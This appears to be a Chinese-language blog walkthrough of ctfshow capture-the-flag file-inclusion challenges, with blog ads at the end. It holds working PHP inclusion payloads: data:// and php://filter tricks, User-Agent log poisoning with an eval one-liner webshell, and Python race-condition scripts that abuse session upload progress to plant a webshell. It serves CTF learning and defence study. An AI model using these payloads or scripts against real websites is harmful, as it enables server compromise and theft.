ctfshow web入门 文件包含全部wp
Web78
<?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } //?file=data:text/plain,<?php system('cat flag.php');?>
Web79
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); } //?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web80
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); } //?file=../../../../../../../var/log/nginx/access.log
包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,User-Agent等HTTP请求的信息
在User-Agent中插入一句话木马
<?php eval($_POST['-7'])?>
用蚁剑连接 发现目录的fl0g.php
方法二:
发现可以大小写绕过
?file=pHp://input post传参 <?php system("cat fl0g.php");?>
Web81
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); }
比Web80多过滤了:
但方法一的访问日志UA头插入一句话木马仍旧可用
Web82(条件竞争 session.use_strict_mode=off Cookie中sessionid可控)
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
方法一:
利用脚本
import requests import io import threading url='http://275a3cc3-3c6b-4382-a70b-141a4cce4638.challenge.ctf.show/' sessionid='ctfshow' data={ "1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');" } ''' post 传递内容可在网站目录下写入一句话木马。 根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。 sessionid 可控,所以这里即 /tmp/sess_ctfshow。 这样一旦访问成功,就说明木马植入了 ''' # /tmp/sess_sessionid 中写入一句话木马。 def write(session): fileBytes = io.BytesIO(b'a'*1024*50) while True: response=session.post( url, data={ 'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>' }, cookies={ 'PHPSESSID':sessionid }, files={ 'file':('ctfshow.jpg',fileBytes) } ) # 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。 def read(session): while True: response=session.post( url+'?file=/tmp/sess_'+sessionid, data=data, cookies={ 'PHPSESSID':sessionid } ) # 访问木马文件,如果访问到了就代表竞争成功 resposne2=session.get(url+'muma.php') if resposne2.status_code==200: print('++++++done++++++') else: print(resposne2.status_code) if __name__ == '__main__': evnet=threading.Event() # 写入和访问分别设置 5 个线程。 with requests.session() as session: for i in range(5): threading.Thread(target=write,args=(session,)).start() for i in range(5): threading.Thread(target=read,args=(session,)).start() evnet.set()
运行成功后 蚁剑连接或者bp发包
还有一个常规的脚本
import io import requests import threading sessid = 'jiuzhen' data = {1:"system('cat fl0g.php');"} url='http://9a77fcb3-6f3c-4bd6-a247-07bfe6766509.challenge.ctf.show:8080/' def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>jiuzhen'}, files={'file': ('jiuzhen.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: resp = session.post(url+'?file=/tmp/sess_'+sessid,data=data) if 'jiuzhen' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry") if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()
方法二:
直接用bp
如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,
此时我们可以利用竞争,在session文件内容清空前进行包含利用。
先构造一个文件上传
<!DOCTYPE html> <html> <body> <form action="http://95032c6e-7d27-41c8-aff1-4c36831c85ab.challenge.ctf.show/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
我们一共抓两个包
第一个包,我们添加一个Cookie: PHPSESSID=flag,在/tmp/sess_PHPSESSID目录下,PHP将会在服务器上创建一个文件:/tmp/sess_flag 然后我们在PHP_SESSION_UPLOAD_PROGRESS下添加我们的执行代码即可
因为我们在上面这个页面添加的ID值是flag,所以传参?file=/tmp/sess_flag
两个一起发包
Web83~Web86
Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 20:28:52 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ session_unset(); session_destroy(); if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
warning提示了 ,所以表单构造需要重新构造,多了 session_start();
<!DOCTYPE html> <html> <body> <form action="http://668ba926-9165-49e7-92fb-c94a08d54feb.chall.ctf.show/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html> <?php session_start(); ?>
同时82-86用py脚本都能跑
Web84
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 20:40:01 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); system("rm -rf /tmp/*"); include($file); }else{ highlight_file(__FILE__); }
Web85
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 20:59:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); if(file_exists($file)){ $content = file_get_contents($file); if(strpos($content, "<")>0){ die("error"); } include($file); } }else{ highlight_file(__FILE__); }
Web86
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 21:20:43 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ define('还要秀?', dirname(__FILE__)); set_include_path(还要秀?); if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
Web87(绕过die)
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }else{ highlight_file(__FILE__); }
这题有两个参数,将content的值写入File中,但开头增加了die,导致我们即使写入一句话,也执行不了,所以我们要绕过die
https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#_1 p神的谈一谈php://filter的妙用 <?php $content = '<?php exit; ?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content); 使用php://filter流的base64-decode方法,将$content解码,base64编码只包含64个可打印字符,而php在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。所以,一个正常的base64_decode实际上可以理解为: <?php $_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']); base64_decode($_GET['txt']); 所以当$content被加上了<?php exit;?>以后,我们可以使用php://filter/write=convert.base64-decode来解码。在解码的过程中,字符< ? ; > 空格等不符合base64编码的字符范围将被忽略,最终被解码为"phpexit"和我们传入的其他字符 "phpexit"一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加一个"a"一共8个字符。这样"phpexita"就会被正常解码,而后面我们传入的webshell的base64内容也会被正常解码。
本题中的phpdie一共为6个字符,所以我们解码的时候需要再添加两个字符,比如"aa"
file=php://filter/write=convert.base64-decode/resource=1.php (file里的内容需要进行两次url编码) content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
然后访问/1.php 执行命令
Web88
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-17 02:27:25 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ die("error"); } include($file); }else{ highlight_file(__FILE__); } //?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg (base64编码的时候要去掉末尾的"=") //?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmwwZy5waHAiKTs/Pg
Web116
题目给我们的是一个视频 放到随波逐流分析 formost一下 得到一张png
/?file=flag.php
Web117(绕过die之base64,rot13,string被过滤)
<?php highlight_file(__FILE__); error_reporting(0); function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); } } $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents);
需要在绕过filter函数过滤的基础上,再来绕过死亡函数。base64,rot13,string这些都被过滤了,因为正则匹配是针对url解码后的内容进行的。
把一句话木马从UCS-2LE编码转换为UCS-2BE编码:
<?php $re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>'); echo $re; ?>
得到
?<hp pe@av(l_$EG[T]1;)>?
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php contents=?<hp pe@av(l_$EG[T]1;)>?
然后访问/1.php
/1.php?1=system("cat flag.php");
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 如何使用 Uni-app 实现视频聊天(源码,支持安卓、iOS)
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)